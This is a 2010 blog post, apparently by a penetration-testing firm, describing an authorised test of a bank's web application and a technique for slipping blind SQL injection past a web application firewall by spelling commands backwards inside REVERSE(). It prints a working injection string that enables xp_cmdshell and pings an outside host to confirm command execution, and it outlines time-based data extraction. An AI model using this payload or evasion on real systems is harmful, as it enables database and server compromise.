Sunday, May 16, 2010

REVERSE(noitcejnI LQS dnilB) Bank Hacking

Earlier this year we were hired to perform an Overt Web Application Penetration Test for one of our banking customers (did you click that?). This customer is a reoccurring customer and so we know that they have Web Application Firewalls and Network Intrusion Prevention Systems in play. We also know that they are very security savvy and that they respond to attacks promptly and appropriately.


Because this test was Overt in nature (non-stealth) we began testing by configuring Acunetix to use burpsuite-pro as a proxy. Then we ran an automated Web Application Vulnerability Scan with Acunetix and watched the scan populate burpsuite-pro with information. While the scan results were mostly fruitless we were able to pick up with manual testing and burpsuite-pro.

While the automated scans didn’t find anything our manual testing identified an interesting Blind SQL Injection Vulnerability. This blind SQL Injection vulnerability was the only vulnerability that we discovered that had any real potential.

It’s important understand to the difference between standard SQL Injection Vulnerabilities and Blind SQL Injection Vulnerabilities. A standard SQL Injection Vulnerability will return useful error information to the attacker and usually display that information in the attackers web browser. That information helps the attacker debug and refine the attack. Blind SQL Injection Vulnerabilities return nothing, making them much more difficult to exploit.

Since the target Web Application was protected by two different Intrusion Prevention Technologies, and since the vulnerability was a Blind SQL Injection Vulnerability, we knew that exploitation wasn’t going to be easy. To be successful we’d first need to defeat the Network Intrusion Prevention System and then the Web Application Firewall.

Defeating Network Intrusion Prevention Systems is usually fairly easy. The key is to find an attack vector that the Network Intrusion Prevention System can’t monitor. In this case (like most cases) our Web Application’s server accepted connections over SSL (via HTTPS). Because SSL based traffic is encrypted the Network Intrusion Prevention System can’t intercept and analyze the traffic.

Defeating Web Application Firewalls is a bit more challenging. In this case, the Web Application Firewall was the termination point for the SSL traffic and so it didn’t suffer from the same SSL blindness issues that the Network Intrusion Prevention System did. In fact, the Web Application Firewall was detecting and blocking our embedded SQL commands very successfully.

We tried some of the known techniques for bypassing Web Application Firewalls but to no avail. The vendor that makes this particular Web Application Firewall does an excellent job at staying current with the latest methods for bypassing Web Application Firewall technologies.

Then we decided that we’d try attacking backwards. Most SQL databases support a reverse function. That function does just what you’d think that it would do; it returns the reverse of whatever string you feed it. So we wrote our commands backwards and encapsulated then in the reverse() function provided by the SQL server. When we fed our new reversed payloads to the Web Application the Web Application Firewall failed to block the commands.

As it turns out most (maybe all) Web Application Firewalls can be bypassed if you reverse the spelling of your SQL commands. So you’d rewrite “xp_cmdshell” as “llehsdmc_px” and then encapsulate it in the reverse function. As far as we know we’re the first to discover and use this method to successfully bypass a Web Application Firewall.

The next step in the attack was to reconfigure and enable the xp_cmdshell function. The xp_cmdshell is important as it executes a given command string as an operating-system command shell and returns any output rows of text. Simply put, it’s just like sitting at the DOS prompt.

The technique used to reconfigure the xp_cmdshell functionality is well known and well documented. But, since we did it using backwards commands we thought that we would show you what it looked like.

var=1';DECLARE @a varchar(200) DECLARE @b varchar(200) DECLARE @c varchar(200) SET @a = REVERSE ('1 ,"snoitpo decnavda wohs" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @b = REVERSE ('1,"llehsdmc_px" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @c =REVERSE('"moc.dragarten gnip" llehsdmc_px') EXEC (@c);--

The above SQL commands do the following three things:

1-) C:\> show advanced options, 1 \n

Use the “show advanced options” option to display the sp_configure system stored procedure advanced options. When you set show advanced options to 1, you can list the advanced options by using sp_configure. The default is 0. The setting takes effect immediately without a server restart.

2-) C:\> master.dbo.sp_configure xp_cmdshell, 1

This enables the xp_cmdshell functionality in the MsSQL database so that we can execute operating-system commands by calling xp_cmdshell. xp_cmdshell is disabled by default.

3-) C:\> ping netragard.com

Because we were dealing with a Blind SQL Injection Vulnerability we needed a creative way to test that we’d successfully re-enabled the xp_cmdshell function. To do that we set up a sniffer on our outside firewall interface and configured it to alert us when we received pings from our banking customer’s network. Then in the SQL payload (shown above) we included the command “ping netragard.com”. Then when we received ICMP packets from our customers network we knew that our command had been executed successfully.

Now that we had confirmed that our Blind Reversed SQL Injection attack was viable and that we had successfully enabled the xp_cmdshell functionality, the last thing for us to do was to extract database information. But how do we extract database information using a Blind SQL Injection Vulnerability if the vulnerability never returns any information?

That's actually pretty easy. Most databases support conditional statements (if condition then do something). So, we used conditional statements combined with timing to extract database information. Specifically, if table name equals "users" then wait for 3 seconds, if it doesn't then return control immediately. Then if the database doesn't respond for 3 seconds we know that we've guessed the name of one of the tables correctly.

Sure there are other things that we could have done, but we're the good guys.